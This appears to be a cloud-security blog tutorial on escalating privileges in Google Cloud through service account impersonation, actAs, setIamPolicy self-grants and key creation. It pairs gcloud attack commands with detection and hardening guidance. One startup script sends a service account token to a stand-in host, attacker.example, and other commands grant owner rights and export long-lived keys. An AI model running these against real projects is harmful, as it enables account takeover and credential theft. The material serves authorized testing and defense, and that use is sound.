GCP Privilege Escalation: Abusing Service Account Impersonation and IAM Misconfigurations

Cloud Security
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against Google Cloud projects you own or have explicit written permission to assess. Unauthorized access to cloud resources is illegal under the CFAA and equivalent laws worldwide.

Introduction / Overview

Google Cloud Platform (GCP) IAM is deceptively simple on the surface but rich with implicit trust relationships. Unlike host-based privilege escalation, GCP escalation is almost always a matter of who can act as whom. A single over-permissive binding — roles/iam.serviceAccountTokenCreator on the wrong principal, or iam.serviceAccounts.actAs baked into a custom role — can turn a low-privileged identity into project owner.

In this article we walk through the most common and reliable GCP privilege escalation primitives: service account impersonation, the actAs permission used by compute and Cloud Functions, and setIamPolicy-based self-grants. We use the gcloud CLI throughout, then close with detection and hardening guidance that carries equal weight to the offense.

How it works / Background

Every GCP identity (user, group, or service account) is granted permissions through roles bound in an IAM policy. The permissions that matter for escalation fall into a few families:

  • iam.serviceAccounts.getAccessToken — granted by roles/iam.serviceAccountTokenCreator. Lets you mint a short-lived OAuth token as a target service account. This is direct impersonation.
  • iam.serviceAccounts.actAs — required to attach a service account to a resource you create (a GCE VM, Cloud Function, Cloud Run service, Dataflow job). You don't get the SA's token directly, but the resource runs with the SA's identity, and you control that resource's code.
  • *.setIamPolicy — present on many resource types (projects, buckets, SAs, Pub/Sub). It lets the holder rewrite the IAM policy and grant themselves a higher role.
  • iam.serviceAccountKeys.create — lets you export a long-lived JSON key for a service account, then authenticate as it indefinitely.

The escalation game is to find a chain from your current identity to a more privileged service account, and from there ideally to roles/owner or roles/editor.

Prerequisites / Lab setup

You need a GCP project where you can deliberately introduce a misconfiguration, plus the SDK. Authenticate as a low-privileged tester identity:

gcloud auth login
gcloud config set project my-pentest-lab
Bash

Enumerate what your current principal can actually do — testIamPermissions is the safest way and does not require listing the full policy:

# Who am I?
gcloud auth list
ACTIVE=$(gcloud config get-value account)

# Test a batch of escalation-relevant permissions against the project
gcloud projects test-iam-permissions my-pentest-lab \
  --permissions=iam.serviceAccounts.actAs,iam.serviceAccounts.getAccessToken,iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy
Bash

List every service account in the project and probe which ones you can impersonate:

# Enumerate service accounts
gcloud iam service-accounts list

# Check impersonation rights on a specific SA
gcloud iam service-accounts test-iam-permissions \
  privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
  --permissions=iam.serviceAccounts.getAccessToken,iam.serviceAccounts.actAs
Bash

Walkthrough / PoC

Path 1 — Direct impersonation via Token Creator

If you hold roles/iam.serviceAccountTokenCreator on privileged-sa, you can run commands as that SA without ever touching a key file. gcloud supports this natively:

# Mint a raw access token as the target SA
gcloud auth print-access-token \
  --impersonate-service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com

# Or impersonate per-command with --impersonate-service-account
gcloud projects get-iam-policy my-pentest-lab \
  --impersonate-service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com
Bash

If privileged-sa itself holds Token Creator over an even more privileged SA, you can chain impersonation by passing a delegation chain:

gcloud auth print-access-token \
  --impersonate-service-account=final-sa@my-pentest-lab.iam.gserviceaccount.com \
  --impersonate-service-account-delegates=privileged-sa@my-pentest-lab.iam.gserviceaccount.com
Bash

Path 2 — actAs via a new Compute instance

When you have iam.serviceAccounts.actAs on a privileged SA plus compute.instances.create, attach the SA to a VM you control and read its token from the metadata server. The default --scopes=cloud-platform is the key — it grants the full API surface:

gcloud compute instances create exfil-vm \
  --zone=us-central1-a \
  --service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
  --scopes=https://www.googleapis.com/auth/cloud-platform \
  --metadata=startup-script='#! /bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
echo "$TOKEN" | curl -s -X POST -d @- https://attacker.example/collect'
Bash

The startup script grabs the SA access token from the metadata endpoint and exfiltrates it. The same idea works with Cloud Functions (gcloud functions deploy --service-account=...) and Cloud Run.

Path 3 — Self-grant via setIamPolicy

If your principal can call setIamPolicy on the project (resourcemanager.projects.setIamPolicy), the game is over — bind yourself owner:

gcloud projects add-iam-policy-binding my-pentest-lab \
  --member="user:${ACTIVE}" \
  --role="roles/owner"
Bash

The same applies at narrower scopes. setIamPolicy on a single service account lets you grant yourself Token Creator on it, falling back into Path 1:

gcloud iam service-accounts add-iam-policy-binding \
  privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
  --member="user:${ACTIVE}" \
  --role="roles/iam.serviceAccountTokenCreator"
Bash

Path 4 — Long-lived key exfiltration

With iam.serviceAccountKeys.create, mint a JSON key and authenticate from anywhere — this also survives session expiry, which is why it is a favorite persistence mechanism:

gcloud iam service-accounts keys create /tmp/key.json \
  --iam-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com

gcloud auth activate-service-account --key-file=/tmp/key.json
Bash

For automated discovery of these chains, tools like GCP Scanner and the GCP modules in PMapper / gcpwn enumerate impersonation graphs for you. If you want a broader cloud-attack-path primer, see my cloud attack path mapping notes.

Mermaid diagram

GCP Privilege Escalation: Abusing Service Account Impersonation and IAM Misconfigurations diagram 1

The diagram shows four entry primitives converging on a privileged service account, then a self-grant of roles/owner once a sufficiently powerful SA is reached.

Detection & Defense (Blue Team)

Defense is about removing the trust edges and catching the abuse when an edge remains.

Eliminate the dangerous bindings.

  • Audit who holds roles/iam.serviceAccountTokenCreator, roles/iam.serviceAccountUser (which carries actAs), and roles/iam.serviceAccountKeyAdmin. These should be granted on specific service accounts, never at the project level.
  • Use the Policy Analyzer to find every principal that can impersonate or actAs a given SA:
gcloud asset analyze-iam-policy \
  --organization=ORG_ID \
  --permissions=iam.serviceAccounts.actAs \
  --full-resource-name=//iam.googleapis.com/projects/my-pentest-lab/serviceAccounts/privileged-sa@my-pentest-lab.iam.gserviceaccount.com
Bash

Disable long-lived keys. Enforce the iam.disableServiceAccountKeyCreation organization policy constraint so serviceAccountKeys.create fails outright, pushing teams toward Workload Identity Federation and short-lived impersonation. Also enable iam.disableServiceAccountKeyUpload.

Constrain VM scopes and metadata. Avoid --scopes=cloud-platform on workloads; scope tokens to the minimum API. Enforce compute.instances.create restrictions and the constraints/compute.disableSerialPortAccess and metadata-related org policies.

Monitor the right logs. Service account impersonation and key creation are recorded in Cloud Audit Logs (Admin Activity), which is always on and immutable. Build alerts on these methodName values:

  • GenerateAccessToken / SignBlob (from iamcredentials.googleapis.com) — impersonation in progress.
  • google.iam.admin.v1.CreateServiceAccountKey — new long-lived key.
  • SetIamPolicy on projects, SAs, or buckets — privilege changes.
# Hunt recent impersonation events
gcloud logging read \
  'protoPayload.serviceName="iamcredentials.googleapis.com" AND
   protoPayload.methodName:"GenerateAccessToken"' \
  --project=my-pentest-lab --limit=20 --freshness=7d
Bash

Wire these into Security Command Center (the IAM Anomalous Grant and Privilege Escalation findings cover several of these chains) or an Event Threat Detection sink. These behaviors map to MITRE ATT&CK T1078.004 (Valid Accounts: Cloud Accounts) and T1098.003 (Additional Cloud Roles). For a deeper logging baseline, see my GCP audit logging guide.

Conclusion

GCP privilege escalation is fundamentally an IAM graph problem. The most reliable paths — direct impersonation via Token Creator, actAs through attachable resources, setIamPolicy self-grants, and key exfiltration — all hinge on a single misplaced binding. Map the graph before an attacker does: enumerate test-iam-permissions, run Policy Analyzer org-wide, disable key creation, and alert on GenerateAccessToken and SetIamPolicy. Treat every roles/iam.serviceAccountUser grant as a potential bridge to whatever that service account can reach.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL